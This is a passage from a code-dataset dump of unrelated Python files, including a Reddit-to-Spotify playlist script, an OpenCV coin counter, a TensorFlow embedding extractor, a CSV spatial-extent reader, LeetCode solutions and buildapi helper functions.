re.search(regex_pattern, sub.title))\n\tdomains = ['spotify', 'youtu', 'soundcloud']\n\tdomain_match = any(s in sub.url for s in domains)\n\treturn True if (domain_match) and (re.search(regex_pattern, sub.title)) else False\n\ndef parse_title(title, regex_pattern):\n\t\"\"\"\n\tParse reddit post title, check it adheres to sub formatting rules\n\tIf OK, return parsed artist and track name\n\t\"\"\"\n\ttitle = re.sub(\"[\\(\\[].*?[\\)\\]]\", \"\", title) # remove everything in brackets\n\tinfo = re.split(regex_pattern, title)\n\tartist = info[0].strip()\n\ttrack = info[1].strip()\n\treturn artist, track\n\t\ndef spotify_search(spotify, artist, track):\n\t\"\"\"Search spotify\"\"\"\n\tquery='artist:' + artist + ' track:' + track\n\treturn spotify.search(query, type='track')['tracks']\n\ndef clear_playlist(spotify, playlist_id):\n\t\"\"\"Clears spotify playlist at playlist_id\"\"\"\n\tresults = spotify.user_playlist_tracks(spotify_username,playlist_id)\n\ttracks_to_remove = [_['track']['uri'] for _ in results['items']]\n\tspotify.user_playlist_remove_all_occurrences_of_tracks(spotify_username, \n\t\t\t\t\t\t\t\t\t\t\t\tplaylist_id, \n\t\t\t\t\t\t\t\t\t\t\t\ttracks_to_remove)\n\treturn\n\ndef get_weekly_top(sub, n=20):\n\tsubreddit = r.subreddit(sub)\n\tpattern = '[-—]+'\n\turis = []\n\tjj = 0\n\tsubmissions = subreddit.top(time_filter='week',limit=1000)\n\twhile jj < n:\n\t\tsubmission = next(submissions)\n\t\tif valid_submission(submission, pattern):\n\t\t\tprint(submission.title)\n\t\t\tartist,track = parse_title(submission.title, pattern)\n\t\t\tsp_result = spotify_search(spotify, artist, track)\n\t\t\tn_matches = sp_result['total']\n\t\t\tif n_matches > 0:\n\t\t\t\ttop_result = sp_result['items'][0]\n\t\t\t\turis.append(top_result['uri'])\n\t\t\t\tjj+=1\n\treturn uris\n\nwith open('subs.txt', 'r') as f: subs = f.read().splitlines()\n\ndef current_playlist_names():\n\treturn [_['name'] for _ in spotify.user_playlists(spotify_username)['items']]\n\nfor sub in subs:\n\tplaylist_name = '/r/{} top weekly tracks - updated Monday!'.format(sub)\n\tprint(current_playlist_names())\n\t# Create new playlists if not existing already\n\tif playlist_name not in current_playlist_names():\n\t\tspotify.user_playlist_create(spotify_username, playlist_name, public=True,)\n\t# Get playlist ID\n\tplaylist_ids = []\n\tfor pl in [_ for _ in spotify.user_playlists(spotify_username)['items']]:\n\t\tif pl['name'] == playlist_name:\n\t\t\tplaylist_ids.append(pl['id'])\n\tassert len(playlist_ids) == 1\n\tplaylist_id = playlist_ids[0]\n\t# Clear playlist\n\tclear_playlist(spotify, playlist_id)\n\t# Get top weekly from Reddit\n\turis_to_add = get_weekly_top(sub)\n\tprint(uris_to_add)\n\tspotify.user_playlist_add_tracks(spotify_username, \n\t\t\t\t\t\t\t\t\tplaylist_id=playlist_id, \n\t\t\t\t\t\t\t\t\ttracks=uris_to_add)\n\t\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"501112883","text":"import torchvision.models as models\nimport time\nfrom datetime import datetime\n\nimport torch\n\nfrom anns.googlenet import googlenet\nfrom anns.inception_v3 import inception_v3\n\n\n\ndata_compositions = {\n \"RGB\":3,\n \"NIR\":1,\n \"SLOPE\":1,\n \"ROUGHNESS\":1,\n \"NDVI\":1,\n \"DOM\":1,\n \"RGB_NIR\":4,\n \"RGB_SLOPE\":4,\n \"RGB_NDVI\":4,\n \"NIR_SLOPE\":2,\n \"NDVI_SLOPE\":2,\n \"NDVI_NIR\":2,\n \"RGB_NIR_SLOPE\":5,\n \"NDVI_NIR_SLOPE\":3,\n \"RGB_NIR_NDVI_SLOPE\":6,\n}\n\nmodel_dict = \\\n{\n \"resnet18\":models.resnet18,#\n \"resnet50\":models.resnet50,#\n \"resnet101\":models.resnet101,#\n \"alexnet\":models.alexnet,#\n \"vgg16\":models.vgg16,#\n \"densnet\":models.densenet161,\n \"inception\":inception_v3,\n \"googlenet\":googlenet,#\n \"shufflenet\":models.shufflenet_v2_x1_0,#\n \"mobilenet\":models.mobilenet_v2,#\n \"resnext50_32x4d\":models.resnext50_32x4d,#\n \"resnext101_32x8d\":models.resnext101_32x8d,#\n \"wide_resnet50_2\":models.wide_resnet50_2,#\n}\n\nlearning_rate = 1e-3\nnr_of_classes = 2\n\ntime_stamp = datetime.utcfromtimestamp(int(time.time())).strftime(\"%Y%m%d%H%M%S\")\n\noptimizer_dict = {\n \"Adadelta\":torch.optim.Adadelta,\n \"Adagrad\":torch.optim.Adagrad,\n \"Adam\":torch.optim.Adam,\n \"AdamW\":torch.optim.AdamW,\n \"Adamax\":torch.optim.Adamax,\n \"ASGD\":torch.optim.ASGD,\n \"RMSprop\":torch.optim.RMSprop,\n \"Rprop\":torch.optim.Rprop,\n \"SGD\":torch.optim.SGD\n}\n\nloss_dict = {\n \"BCELoss\":torch.nn.BCELoss,\n \"MSELoss\":torch.nn.MSELoss\n}","sub_path":"code/utils/consts.py","file_name":"consts.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"95699177","text":"# Copyright 2017 The TensorFlow Authors All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport scipy.spatial\nimport os\nimport random\nimport cv2\nimport math\nimport numpy as np\nfrom scipy.misc import imresize\nfrom scipy.misc import imsave\nfrom estimators.get_estimator import get_estimator\nfrom utils import util\nimport tensorflow as tf\nfrom tensorflow.contrib.tensorboard.plugins import projector\ntf.logging.set_verbosity(tf.logging.INFO)\n\ntf.flags.DEFINE_string(\n 'config_paths', '',\n \"\"\"\n Path to a YAML configuration files defining FLAG values. Multiple files\n can be separated by the `#` symbol. Files are merged recursively. Setting\n a key in these files is equivalent to setting the FLAG value with\n the same name.\n \"\"\")\ntf.flags.DEFINE_string(\n 'model_params', '{}', 'YAML configuration string for the model parameters.')\ntf.app.flags.DEFINE_string(\n 'checkpoint_iter', '', 'Evaluate this specific checkpoint.')\ntf.app.flags.DEFINE_string(\n 'checkpointdir', '/raid/home/fengfangxiang/log/metric_learning', 'Path to model checkpoints.')\ntf.app.flags.DEFINE_string(\n 'embedding_file', '/raid/data/nice/metric_data/checked_logs/0004/info/embeddings.txt', 'Path to write embedding info to.')\ntf.app.flags.DEFINE_string(\n 'query_image_dir', '/raid/data/nice/metric_data/crop_images/query/huarache', 'path to query images')\ntf.app.flags.DEFINE_string(\n 'candidate_image_dir', '/raid/data/nice/metric_data/crop_images/candidate/huarache', 'path to query images')\nFLAGS = tf.app.flags.FLAGS\n\ndef get_str_images(dir_path):\n str_images = []\n names = []\n for filename in os.listdir(dir_path):\n path = os.path.join(dir_path, filename)\n image = open(path, 'r').read()\n names.append(filename)\n str_images.append(image)\n return str_images, names\n\ndef main(_):\n \"\"\"Runs main labeled eval loop.\"\"\"\n # Parse config dict from yaml config files / command line flags.\n config = util.ParseConfigsToLuaTable(FLAGS.config_paths, FLAGS.model_params)\n\n # Choose an estimator based on training strategy.\n checkpointdir = FLAGS.checkpointdir\n checkpoint_path = os.path.join(\n '%s/model.ckpt-%s' % (checkpointdir, FLAGS.checkpoint_iter))\n estimator = get_estimator(config, checkpointdir)\n \n query_str_images, query_names = get_str_images(FLAGS.query_image_dir)\n cand_str_images, cand_names = get_str_images(FLAGS.candidate_image_dir)\n query_labels = [1]*len(query_str_images)\n cand_labels = [2]*len(cand_str_images)\n \n str_images = query_str_images + cand_str_images\n names = query_names + cand_names\n labels = query_labels + cand_labels\n \n bsize = 16\n nbatch = int(math.ceil(len(labels) / float(bsize)))\n res = np.zeros((len(labels), config.embedding_size))\n for n in xrange(nbatch):\n s = n*bsize\n e = min((n+1)*bsize,len(labels))\n (embeddings, _) = estimator.inference(str_images[s:e], checkpoint_path)\n res[s:e] = embeddings\n print (n)\n with open(FLAGS.embedding_file, 'w') as fw:\n for i in xrange(len(names)):\n fw.write(names[i]+'\\t'+str(labels[i])+'\\t'+','.join([str(v) for v in res[i,:]])+'\\n')\n\nif __name__ == '__main__':\n tf.app.run(main)\n","sub_path":"research/metric_learning/prediction/extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":3841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"155867458","text":"from globals import *\n\ndef load(map_name, game, new_pos = 0, face = 0):\n surfaces = []\n game.links = []\n game.solid_list = []\n l = os.path.abspath(__file__).replace('\\\\', '/').split('/')\n l.pop()\n main_direc = 'rec/maps/%s/' % map_name.replace('\\\\', '/')\n\n if new_pos:\n game.Player.setPos(literal_eval(new_pos))\n if face:\n game.Player.setFace(face)\n\n # get dict from positions.txt\n pos_dict = {}\n positions = open(main_direc + 'positions.txt', 'r').read()\n for line in positions.split('\\n'):\n if not line:\n pass\n elif line.startswith('#'):\n pass\n elif 'LINK' in line:\n line_bits = line.split(':')\n game.links.append(line_bits)\n game.solid_list.append('LINK')\n elif 'SET_PLAYER' in line:\n game.Player.setPos(literal_eval(line.split(':')[1]))\n elif 'SURFACE' in line:\n ln = line.split(':')\n pos_dict[ln[1]] = ln\n elif 'SOLID' in line:\n ln = line.split(':')\n game.solid_list.append(pygame.rect.Rect(literal_eval(ln[1])))\n\n # load all buildings\n tile = pygame.image.load(main_direc + 'tile.png').convert()\n game.tile = [tile, tile.get_size()]\n for time in [1, 2]:\n for index, fi in enumerate(os.listdir(main_direc + 'buildings/')):\n if pos_dict[fi][3] == 'ground%s' % time:\n surfaces.append([pygame.image.load(main_direc + 'buildings/' + fi).convert_alpha(), literal_eval(pos_dict[fi][2]), 3])\n if time == 1:\n surfaces.append('player')\n game.ItemHandler.clear()\n game.Monsters.monsters = []\n return surfaces\n","sub_path":"class/mapLoader.py","file_name":"mapLoader.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"480777883","text":"import csv\nimport os\nimport logging\nfrom . import helpfunctions as hf\n\nfileType = \"text/csv\"\n\nlogger = logging.getLogger(\"geoextent\")\n\ndef checkFileValidity(filePath):\n '''Checks whether it is valid CSV or not. \\n\n input \"path\": type string, path to file which shall be extracted \\n\n raise exception if not valid\n '''\n logger.info(\"Checking validity of {} \\n\".format(filePath))\n \n with open(filePath) as csv_file:\n daten = csv.reader(csv_file.readlines())\n if daten is None:\n logger.error(\"File {} is invalid!\".format(filePath))\n raise Exception(\"The file {} has no valid csv Attributes\".format(filePath))\n\n\ndef getBoundingBox(filePath):\n '''\n Function purpose: extracts the spatial extent (bounding box) from a csv-file \\n\n input \"filepath\": type string, file path to csv file \\n\n returns spatialExtent: type list, length = 4 , type = float, schema = [min(longs), min(lats), max(longs), max(lats)] \n '''\n with open(filePath) as csv_file:\n # To get delimiter either comma or simecolon\n daten = hf.getDelimiter(csv_file)\n\n elements = []\n for x in daten:\n elements.append(x)\n \n spatialExtent= []\n spatialLatExtent=[]\n spatialLonExtent=[]\n\n spatialLatExtent= hf.searchForParameters(elements, [\"latitude\", \"lat\", \"y\"])\n minlat= None\n maxlat= None\n if spatialLatExtent is None:\n pass\n else:\n minlat= (min(spatialLatExtent))\n maxlat= (max(spatialLatExtent))\n\n spatialLonExtent= hf.searchForParameters(elements, [\"longitude\", \"long\", \"lon\", \"lng\", \"x\"])\n minlon= None\n maxlon= None\n if spatialLonExtent is None:\n raise Exception('The csv file from ' + filePath + ' has no BoundingBox')\n else:\n minlon= (min(spatialLonExtent))\n maxlon= (max(spatialLonExtent))\n\n spatialExtent= [minlon,minlat,maxlon,maxlat]\n if not spatialExtent:\n raise Exception(\"Bounding box could not be extracted\")\n return spatialExtent\n\n\ndef getTemporalExtent(filePath):\n ''' extract time extent from csv string \\n\n input \"filePath\": type string, file path to csv File \\n\n returns temporal extent of the file: type list, length = 2, both entries have the type dateTime, temporalExtent[0] <= temporalExtent[1]\n '''\n with open(filePath) as csv_file:\n # To get delimiter either comma or simecolon\n daten = hf.getDelimiter(csv_file)\n\n elements = []\n for x in daten:\n elements.append(x)\n \n allspatialExtent= []\n allspatialExtent=hf.searchForParameters(elements, [\"timestamp\", \"datetime\", \"time\", \"date\"])\n if allspatialExtent is None:\n raise Exception('The csv file from ' + filePath + ' has no TemporalExtent')\n else:\n time=[]\n time.append(min(allspatialExtent))\n time.append(max(allspatialExtent))\n return time\n\n\ndef getCRS(filePath):\n '''extracts coordinatesystem from csv File \\n\n input \"filepath\": type string, file path to csv file \\n\n returns the epsg code of the used coordinate reference system, type list, contains extracted coordinate system of content from csv file\n ''' \n with open(filePath) as csv_file:\n daten = csv.reader(csv_file.readlines())\n elements = []\n for x in daten:\n elements.append(x)\n if hf.searchForParameters(elements,[\"longitude\",\"latitude\",\"long\", \"lat\", \"lon\", \"lng\", \"x\", \"y\"]) is None:\n if hf.searchForParameters(elements, [\"crs\",\"srsID\"]) is None:\n raise Exception('The csv file from ' + filePath + ' has no CRS')\n if hf.searchForParameters(elements, [\"crs\",\"srsID\"]) == \"WGS84\":\n return \"4326\"\n else:\n raise Exception('The csv file from ' + filePath + ' has no WGS84 CRS')\n else:\n return \"4326\"","sub_path":"geoextent/lib/handleCSV.py","file_name":"handleCSV.py","file_ext":"py","file_size_in_byte":4001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"544290878","text":"def price_avg(filename):\r\n fd=open(filename)\r\n if fd!=None:\r\n lines=fd.readlines()\r\n states=[]\r\n curr_monthly_price=[]\r\n prev_month_price=[]\r\n first_month_flag=True\r\n count=0\r\n \r\n states = lines[0].split()\r\n for i in range(1,len(lines)):\r\n total_price=[]\r\n count+=1 # To count no of months for avg\r\n curr_monthly_price = lines[i].split()\r\n print(curr_monthly_price)\r\n if first_month_flag:\r\n for j in range(1,len(curr_monthly_price)):\r\n prev_month_price.append(int(curr_monthly_price[j])) # Taking first month's price of each state as prev_month_price\r\n first_month_flag=False \r\n continue \r\n for j in range(1,len(curr_monthly_price)):\r\n sum = prev_month_price[j-1]+int(curr_monthly_price[j]) \r\n total_price.append(sum)\r\n prev_month_price=total_price\r\n return(states[1:],total_price,count)\r\n \r\ndef main():\r\n filename=r'C:\\pythonprogs\\2017\\Petrol.txt'\r\n states,total_price,count=price_avg(filename)\r\n for i in range(0,len(states)):\r\n avg= total_price[i]/count\r\n print(\"Avg petrol price of {0} is {1}\".format(states[i],avg))\r\nif __name__=='__main__':\r\n main()","sub_path":"25.petrol_price_avg.py","file_name":"25.petrol_price_avg.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"1433300","text":"import cv2\r\nimport numpy as np\r\n\r\ndef get_color(radius):\r\n red = (0, 0, 255)\r\n orange = (0, 97, 255)\r\n yellow = (0, 255, 255)\r\n green = (0, 255, 0)\r\n\r\n if radius < 75:\r\n return red, 1\r\n elif radius < 80:\r\n return orange, 5\r\n elif radius < 96.5:\r\n return yellow, 10\r\n else:\r\n return green, 50\r\n\r\nimg = cv2.imread(\"pic/coin.jpg\")\r\n#cv2.imshow(\"coin_ori\", img)\r\nimg = cv2.resize(img, (800, 450), interpolation = cv2.INTER_AREA)\r\nimg_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n#cv2.imshow(\"img_resize_gray\", img_gray)\r\n\r\nret, coin = cv2.threshold(img_gray, 85, 255, cv2.THRESH_BINARY) #二值化\r\n#cv2.imshow(\"coin_binary\", coin)\r\n\r\ncoin = cv2.GaussianBlur(coin, (1, 1), 0)\r\n#cv2.imshow(\"coin1\", coin)\r\ncoin = cv2.erode(coin, np.ones((2, 2)), iterations = 5)\r\n#cv2.imshow(\"coin2\", coin)\r\ncoin = cv2.dilate(coin, np.ones((1, 1)), iterations = 5)\r\n#cv2.imshow(\"coin3\", coin)\r\n\r\nret, coin = cv2.threshold(coin, 180, 255, cv2.THRESH_BINARY)\r\n\r\n# connected components\r\nnum_labels, labels, stats, centroids = cv2.connectedComponentsWithStats(coin, connectivity=8, ltype=None)\r\n\r\n# draw rectangle around coins and calculate total value\r\ntotal = 0\r\nfor stat in stats:\r\n\r\n x, y, width, height, area = stat\r\n radius = max(width, height)\r\n if 50 < radius < 100:\r\n\r\n color, value = get_color(radius)\r\n total += value\r\n # draw rectangle around coin\r\n cv2.rectangle(img, (x, y), (x + width, y + height), color, 2)\r\n\r\nprint('total value =', total)\r\n\r\ncv2.imshow('coin', img)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()","sub_path":"Project3/coin.py","file_name":"coin.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"379865477","text":"#\n# [187] Repeated DNA Sequences\n#\n# https://leetcode.com/problems/repeated-dna-sequences/description/\n#\n# algorithms\n# Medium (33.36%)\n# Total Accepted: 97.5K\n# Total Submissions: 292.1K\n# Testcase Example: '\"AAAAACCCCCAAAAACCCCCCAAAAAGGGTTT\"'\n#\n# All DNA is composed of a series of nucleotides abbreviated as A, C, G, and T,\n# for example: \"ACGAATTCCG\". When studying DNA, it is sometimes useful to\n# identify repeated sequences within the DNA.\n#\n# Write a function to find all the 10-letter-long sequences (substrings) that\n# occur more than once in a DNA molecule.\n#\n# Example:\n#\n#\n# Input: s = \"AAAAACCCCCAAAAACCCCCCAAAAAGGGTTT\"\n#\n# Output: [\"AAAAACCCCC\", \"CCCCCAAAAA\"]\n#\n\n\nclass Solution:\n def findRepeatedDnaSequences(self, s):\n \"\"\"\n :type s: str\n :rtype: List[str]\n \"\"\"\n if len(s) < 10:\n return []\n use = {'A': 0, 'C': 1, 'G': 2, 'T':3}\n mask = (1 << 20) - 1\n dic, res = dict(), []\n cur, L, R = 0, 0, 0\n while R != 9:\n cur <<= 2\n cur |= use[s[R]]\n R += 1\n while R < len(s):\n cur <<= 2\n cur |= use[s[R]]\n cur &= mask\n if cur not in dic:\n dic[cur] = 1\n elif dic[cur] == 1:\n dic[cur] += 1\n res.append(s[L:R+1])\n L, R = L+1, R+1\n return res\n","sub_path":"187.repeated-dna-sequences.python3.py","file_name":"187.repeated-dna-sequences.python3.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"35657957","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\nclass Solution(object):\n \"\"\"计算数根的程序\n\n 关键字,数根\n wiki百科链接: https://www.wikiwand.com/en/Digital_root#/Abstract_multiplication_of_digital_roots\n \"\"\"\n def addDigits(self, num):\n \"\"\"\n :type num: int\n :rtype: int\n \"\"\"\n return 0 if num == 0 else num - 9 * ((num -1) // 9)\n\n\nif __name__ == '__main__':\n s = Solution()\n print(s.addDigits(38))\n print(s.addDigits(0))\n","sub_path":"algorithms/258/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"625761532","text":"from django.contrib.auth.models import User\nfrom django.test import TestCase\nfrom django.utils import timezone\n\nfrom articles.models import Article, Category\n\n\nclass DisplayOrderTest(TestCase):\n\n def setUp(self):\n User.objects.create()\n self.nata = User.objects.first()\n\n Category.objects.create(name='идеи бизнеса')\n self.cat = Category.objects.first()\n\n Article.objects.create(title='should be second',\n text='low carb diet helps weight loss',\n preview_text='eat less',\n author=self.nata,\n category=self.cat,\n state='3',\n published_date=timezone.now())\n\n Article.objects.create(title='should be first',\n text='low carb diet helps weight loss',\n preview_text='eat less',\n author=self.nata,\n category=self.cat,\n state='3',\n published_date=timezone.now())\n\n Article.objects.create(title='should be third',\n text='low carb diet helps weight loss',\n preview_text='eat less',\n author=self.nata,\n category=self.cat,\n state='3',\n published_date=timezone.now())\n\n def test_correct_order(self):\n self.fail()\n\n","sub_path":"articles/test/display_order_test.py","file_name":"display_order_test.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"458282333","text":"# nlog(n)\nclass Solution(object):\n def findKthLargest(self, nums, k):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: int\n \"\"\"\n nums.sort(reverse=True)\n return nums[k-1]\n\n# O(k+(n-k)lgk) time, min-heap\nclass Solution(object):\n def findKthLargest(self, nums, k):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: int\n \"\"\"\n import heapq\n # init heap\n heap = []\n # push num into heap\n for num in nums:\n heapq.heappush(heap, num)\n # pop num until len(nums) - k\n for _ in xrange(len(nums) - k):\n heapq.heappop(heap)\n # return the largets k\n return heapq.heappop(heap)\n\n# O(k+(n-k)lgk) time, min-heap\ndef findKthLargest5(self, nums, k):\n return heapq.nlargest(k, nums)[k-1]\n\n# O(nk) time, bubble sort idea\ndef findKthLargest(self, nums, k):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: int\n \"\"\"\n for i in xrange(k):\n for j in xrange(len(nums) - i - 1):\n if nums[j] > nums[j + 1]:\n nums[j], nums[j + 1] = nums[j + 1], nums[j]\n # return value\n return nums[len(nums) - k]\n\n# O(nk) time, selection sort idea\nclass Solution(object):\n def findKthLargest(self, nums, k):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: int\n \"\"\"\n for i in xrange(len(nums), len(nums) - k, -1):\n temp = 0\n for j in xrange(i):\n if nums[j] > nums[temp]:\n temp = j\n nums[temp], nums[i - 1] = nums[i - 1], nums[temp]\n return nums[len(nums) - k]\n \n# O(n) time, quick selection\nclass Solution(object):\n def findKthLargest(self, nums, k):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: int\n \"\"\"\n return self.findKthSmallest(nums, len(nums) - k + 1)\n\n def findKthSmallest(self, nums, i):\n if nums:\n pos = self.partition(nums, 0, len(nums) - 1)\n if i - 1 > pos:\n return self.findKthSmallest(nums[pos+1:], i - pos - 1)\n elif i - 1 < pos:\n return self.findKthSmallest(nums[:pos], i)\n else:\n return nums[pos]\n\n def partition(self, nums, l, r):\n low = l\n while l < r:\n if nums[l] < nums[r]:\n nums[low], nums[l] = nums[l], nums[low]\n low += 1\n l += 1\n nums[low], nums[r] = nums[r], nums[low]\n return low\n","sub_path":"python/deep learning/215. Kth Largest Element in an Array.py","file_name":"215. Kth Largest Element in an Array.py","file_ext":"py","file_size_in_byte":2563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"452778955","text":"\"\"\"Helper functions\n\nConsists of functions to typically be used within templates, but also\navailable to Controllers. This module is available to templates as 'h'.\n\"\"\"\nimport time, datetime\nimport logging\nimport urllib\nimport urllib2\n\nfrom pylons import url, app_globals\nfrom webhelpers.html import tags\n\nfrom pylons.decorators.cache import beaker_cache\n\nimport buildapi.model.builds\nfrom buildapi.lib import json\nfrom buildapi.model.util import BUILDPOOL, TRYBUILDPOOL, TESTPOOL, SUCCESS, RETRY\n\nlog = logging.getLogger(__name__)\n\ndef strf_YmdhMs(secs):\n y = secs / 31536000\n secs -= y * 31536000\n m = secs / 2592000\n secs -= m * 2592000\n d = secs / 86400\n secs -= d * 86400\n return (\"%dy, %dm, %dd \" % (y, m, d)) + strf_hms(secs)\n\ndef strf_hms(tspans):\n h = tspans // 3600\n tspans -= h * 3600\n m = tspans // 60\n s = tspans - m * 60\n\n return \"%dh %dm %ds\" % (h, m, s)\n\nZERO = datetime.timedelta(0)\nHOUR = datetime.timedelta(hours=1)\n\nclass USTimeZone(datetime.tzinfo):\n # In the US, DST starts at 2am (standard time) on the first Sunday in April.\n DSTSTART = datetime.datetime(1, 4, 1, 2)\n # and ends at 2am (DST time; 1am standard time) on the last Sunday of Oct.\n # which is the first Sunday on or after Oct 25.\n DSTEND = datetime.datetime(1, 10, 25, 1)\n\n def __init__(self, hours, reprname, stdname, dstname):\n self.stdoffset = datetime.timedelta(hours=hours)\n self.reprname = reprname\n self.stdname = stdname\n self.dstname = dstname\n\n def __repr__(self):\n return self.reprname\n\n def tzname(self, dt):\n if self.dst(dt):\n return self.dstname\n else:\n return self.stdname\n\n def utcoffset(self, dt):\n return self.stdoffset + self.dst(dt)\n\n def dst(self, dt):\n if dt is None or dt.tzinfo is None:\n # An exception may be sensible here, in one or both cases.\n # It depends on how you want to treat them. The default\n # fromutc() implementation (called by the default astimezone()\n # implementation) passes a datetime with dt.tzinfo is self.\n return ZERO\n assert dt.tzinfo is self\n\n # Find first Sunday in April & the last in October.\n start = self._first_sunday_on_or_after(\n USTimeZone.DSTSTART.replace(year=dt.year))\n end = self._first_sunday_on_or_after(\n USTimeZone.DSTEND.replace(year=dt.year))\n\n # Can't compare naive to aware objects, so strip the timezone from\n # dt first.\n if start <= dt.replace(tzinfo=None) < end:\n return HOUR\n else:\n return ZERO\n\n def _first_sunday_on_or_after(self, dt):\n days_to_go = 6 - dt.weekday()\n if days_to_go:\n dt += datetime.timedelta(days_to_go)\n return dt\n\nclass Pacific(USTimeZone):\n def __init__(self):\n USTimeZone.__init__(self, -8, \"Pacific\", \"PST\", \"PDT\")\n\npacific_tz = Pacific()\ntime_format = '%a, %d %b %Y %H:%M:%S %z (%Z)'\n\ndef pacific_time(timestamp, format=time_format):\n \"\"\"Convert a time expressed in seconds since the epoch to a string\n representing Pacific time. If secs is not provided or None, the current\n time as returned by time() is used.\n \"\"\"\n if not timestamp:\n timestamp = time.time()\n dt = datetime.datetime.fromtimestamp(timestamp, pacific_tz)\n\n return dt.strftime(format)\n\n\n# Matches a master from production-masters.json, to the corresponding\n# build pool, by looking at the 'role' field\nROLE_MASTERS_POOLS = {\n 'build': BUILDPOOL,\n 'tests': TESTPOOL,\n 'try': TRYBUILDPOOL,\n}\n\n_masters = []\n_masters_by_dbname = {}\n_masters_pools = {BUILDPOOL: [], TRYBUILDPOOL: [], TESTPOOL: []}\n_last_master_check = 0\n# Cache for 5 minutes\n_masters_cache_timeout = 300\ndef get_masters():\n global _masters, _last_master_check, _masters_by_dbname, _masters_pools\n\n now = time.time()\n\n if now - _last_master_check < _masters_cache_timeout:\n return _masters\n\n masters_url = app_globals.masters_url\n log.info(\"Fetching master list from %s\", masters_url)\n try:\n masters = json.load(urllib2.urlopen(masters_url, timeout=30))\n _masters = masters\n except:\n log.exception(\"Error loading masters json; using old list\")\n return _masters\n\n _last_master_check = now\n _masters_by_dbname = {}\n _masters_pools = {BUILDPOOL: [], TRYBUILDPOOL: [], TESTPOOL: []}\n for m in _masters:\n _masters_by_dbname[m['db_name']] = m\n pool = ROLE_MASTERS_POOLS.get(m['role'], None)\n if pool in _masters_pools:\n _masters_pools[pool].append(m['db_name'])\n return _masters\n\n_branches = {}\n_last_branches_check = 0\n# Cache for 5 minutes\n_last_branches_timeout = 300\ndef get_branches():\n global _branches, _last_branches_check\n\n now = time.time()\n if now - _last_branches_check < _last_branches_timeout:\n return _branches\n\n branches_url = app_globals.branches_url\n log.info(\"Fetching branches list from %s\", branches_url)\n try:\n if branches_url.startswith('TEST:'):\n branches = json.load(open(branches_url.split(':')[1]))\n else:\n branches = json.load(urllib2.urlopen(branches_url, timeout=30))\n _branches = branches\n _last_branches_check = now\n except:\n log.exception(\"Error loading branches json; using old list\")\n\n return _branches\n\ndef get_completeness(job_items, stableDelay):\n now = int(time.time())\n job_info = {'stableDelay': stableDelay,\n 'job_complete': False,\n 'job_passed': False}\n\n try:\n unfinished_jobs = [job for job in job_items if (job.get('endtime') is None)\n or (now - job.get('endtime') < stableDelay)]\n\n if not unfinished_jobs and job_items != []: # If list is empty\n job_info['job_complete'] = True\n # RETRY isn't a failure because we're rerunning the job\n failed_jobs = [job for job in job_items if job.get('status') not in (SUCCESS, RETRY)]\n job_info['job_passed'] = len(failed_jobs) == 0\n except TypeError:\n pass\n return job_info\n\ndef get_masters_for_pool(pool):\n \"\"\"Returns the masters for a pool.\"\"\"\n get_masters()\n return _masters_pools[pool]\n\ndef addr_for_master(claimed_by_name):\n \"\"\"Returns the fully qualified domain name and port for the master\n indicated by claimed_by_name\"\"\"\n get_masters()\n if claimed_by_name not in _masters_by_dbname:\n return None, None\n fqdn = _masters_by_dbname[claimed_by_name]['hostname']\n port = _masters_by_dbname[claimed_by_name]['http_port']\n\n return fqdn, port\n\ndef url_for_build(master_addr, buildername, buildnumber):\n fqdn, port = master_addr\n buildername = urllib.quote(buildername, \"\")\n url = \"http://%(fqdn)s:%(port)i/builders/%(buildername)s/builds/%(buildnumber)s\" % locals()\n return url\n\ndef convert_master(m):\n \"\"\" Given a claimed_by_name from schedulerdb return\n * pretty_name, eg 'buildbot-master1:8011'\n * master_url, eg 'http://buildbot-master1.build.mozilla.org:8011'\n \"\"\"\n fqdn, port = addr_for_master(m)\n if fqdn is None:\n return None\n pretty_name = '%s:%i' % (fqdn.split(\".\")[0], port)\n master_url = 'http://%(fqdn)s:%(port)i' % locals()\n\n return {'pretty_name': pretty_name, 'master_url': master_url, 'master_addr': (fqdn, port)}\n\n@beaker_cache(expire=600, cache_response=False)\ndef 